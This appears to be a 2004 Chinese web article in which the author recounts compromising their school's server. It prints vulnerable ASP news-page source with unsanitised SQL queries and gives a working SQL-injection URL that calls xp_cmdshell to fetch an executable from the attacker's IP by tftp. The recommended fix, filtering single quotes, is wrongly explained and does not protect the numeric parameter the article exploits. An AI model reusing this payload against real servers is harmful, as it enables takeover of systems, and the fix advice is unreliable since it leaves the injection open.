2023信创独角兽企业100强
全世界各行各业联合起来,internet一定要实现!

测试我们学校服务器的安全性

2004-02-17 eNet&Ciweek

  

  

  

  <%=rs("topic")%>

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  


  

<%=rs("topic")%>


  


  
<%=rs("ntime")%> <% if trim(rs("nfrom"))<>"" then

  response.write "文章来源:" & trim(rs("nfrom"))

  end if %>

  <% if trim(rs("writer"))<>"" then

  response.write "作者:" & trim(rs("writer"))

  end if %> 浏览次数:<%=rs("hits")%>


  


  <% dim content

  content=rs("content")

  content=replace(content,"../../../","../news/")

  response.write content %>

  



---------- 相 关 新 闻 ----------


  <% set rsc=server.createobject("adodb.recordset")

  if session("purview")="" then

  rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid<>" & cstr(rs("newsid")) & " and audit=1 order by ntime DESC",conn,1,1

  else

  rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid<>" & cstr(rs("newsid")) & " order by ntime DESC",conn,1,1

  end if

  if rsc.bof and rsc.eof then

  response.write "暂时没有相关新闻"

  else

  response.write "
    "

      do while not rsc.eof

      response.write "
  • "

      thedate="(" & cstr(year(rsc("ntime"))) & "-" & cstr(month(rsc("ntime"))) & "-" & cstr(day(rsc("ntime"))) & ")"

      response.write "" & trim(rsc("topic")) & "" & thedate & ""

      if month(cdate(trim(rs("ntime"))))=month(now()) and clng(day(cdate(trim(rs("ntime"))))+1)>=clng(day(now())) then

      response.write "
    "

      end if

      rsc.movenext

      loop

      end if

      rsc.close

      set rsc=nothing %>

      


  [an error occurred while processing this directive]

  

  

  <% end if

  end if%>

  [an error occurred while processing this directive]

    大家看到了吗?文件根本没有对任何变量做任何检查,所以这个文件怎么利用都不过份,呵呵,看到这一句,

  rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1

    由于程序根本没有对任何变量做任何检查。我们就可以可以直接构造 newsid 发动sql injection攻击,我们提交这样的代码就可以以连接这个SQL数据库的用户所拥有的权限执行系统命令。

  http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--

  针对这个文件的解决办法就是用replace函数过滤,看看下面的代码:

  replace(str,"'","''")

  replace(str,"'","")

  这两行的意思就是把单引号替换为双引号和空格。

  我们学校服务器的系统漏洞已经找不出什么东西了,但是由于Web程序的问题,导致服务器被控制,学校的技术人员怎么想呢?文章虽短,但问题已经说明很清楚了。

  看来Web程序的问题实在不可忽视。Web程序安全的重点就是对字符检查——检查——再检查。

  本人水平实在有限,写不出什么高深技术的文章,在这里献丑了。   

相关频道: eNews

您对本文或本站有任何意见,请在下方提交,谢谢!

投稿信箱:tougao@enet16.com